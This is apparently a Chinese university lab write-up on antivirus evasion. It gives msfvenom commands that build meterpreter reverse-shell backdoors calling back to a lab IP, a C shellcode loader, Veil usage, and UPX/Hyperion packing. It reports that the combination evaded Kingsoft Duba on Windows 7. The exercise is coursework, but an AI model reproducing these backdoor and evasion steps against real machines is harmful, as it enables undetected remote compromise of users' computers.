2018-2019-2 网络对抗技术 20165334 Exp3 免杀原理与实践
一、实验内容
任务一正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,利用shellcode编程等免杀工具或技巧
1、使用msf编码器,生成exe文件
- 使用exp2中生产的后门程序
20165334_backdoor.exe
利用VirusTotal网站进行扫描检测。 20165334_backdoor.exe
利用Virscan网站进行扫描检测。 -使msf编码器对后门程序进行多次的编码,并检测。msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b ‘\x00’ LHOST=192.168.56.102 LPORT=5334 -f exe > met-lt5334l.exe
-
用使用virscan进行扫描,结果如下所示
-
msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> ltl_backdoor_java.jar
-
用使用virscan进行扫描,结果如下所示
-
msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5334 x> 20155334_backdoor.php
-
用使用virscan进行扫描,结果如下所示
2、使用veil-evasion生成后门程序及检测
- 用
sudo apt-get install veil
命令安装Veil
,若遇到问题则用sudo apt-get upgrade
这两个命令更新一下软件包即可之后用veil
打开veil
,输入y继续安装直至完成。 -设置反弹连接IPset LHOST 192.168.56.102
(IP是KaliIP) - 设置端口
set LPORT 5334
- 输入
generate
生成文件,接着输入你想要playload的名字:baddoor5334
- 扫描检测
3、半手工注入Shellcode并执行
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102LPORT=5334 -f c
用c语言生成一段shellcode
-利用上面生成的数组拿来编写一个程序,结构如下
unsigned char buf[] =
"此处复制粘贴之前用msf生成的buf"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令
i686-w64-mingw32-g++ shell5334.c -o shell5334.exe
编译
- 扫描检测
-x尝试运行结果被360拦截了。
以上尝试可以看出没有处理的后门程序基本上都可以检测出来。
加壳
-
压缩壳 :减少应用体积,如ASPack,UPX
-
加密壳: 版权保护,反跟踪。如ASProtect,Armadillo
-
虚拟机 :通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
1、使用压缩壳(UPX)
还是没能幸免,立刻被杀软截杀
在360中添加信任后测试其可用性。
2、加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 进入目录
/usr/share/windows-binaries/hyperion/
中 - 输入命令
wine hyperion.exe -v xxx.exe yyy.exe
进行加壳
反弹连接
检测结果
任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳Hyperion达到了免杀的目的。
任务成功截图
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 杀软名称:金山毒霸
- 电脑版本:win7x64系统
使用方法:半手工注入Shellcode+加壳。
成功截图
金山毒霸扫描结果
实验中遇到的问题
- 在实验三中,Linux系统ping不通windos7,y通过修改网络连接方式为桥接,修改两ip到通一网段得以解决。
免杀原理及基础问题回答
- 免杀思路: (1)对病毒木马文件通过各种技术进行修改; (2)拓展病毒木马文件功能,甚至是攻击杀软来达到目的。
- 基础问题回答 1)杀软是如何检测出恶意代码的?
- 杀毒软件(AV)是一个较大规模安全防护策略的重要组成部分,能够减缓恶意软件在互联网上的传播速度,保护用户主机。
- 特征库举例:首先对已经有过的恶意代码建立特征库,对其特征码进行匹配检测,若匹配成功,则为恶意代码需进行防范。因此有些新型恶意代码则更容易绕过杀软,在被检测出之前,可能有部分用户会被感染,因此需要及时更新恶意代码特征库。 -启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 基于行为的恶意软件检测:监控该代码的行为,看是否有恶意行为,或正在做与恶意代码所做的事情相同,威胁到主机安全,则极有可能为恶意代码。
(2)免杀是做什么?
- 免杀即“反杀毒技术”,让安插的后门不被AV软件发现。通过改变代码的特征,让杀毒软件成为摆设,防止被杀软查杀的一种技术。
(3)免杀的基本方法有哪些?
修改方法:
- 直接修改特征码的十六进制法
- 修改字符串大小写法
- 等价替换法
- 指令顺序调换法
- 通用跳转法
- 一键加壳法
文件免杀方法:
- 加冷门壳
- 加壳改壳
- 加花指令
- 改程序入口点
来源:oschina
链接:https://my.oschina.net/u/4353951/blog/3592687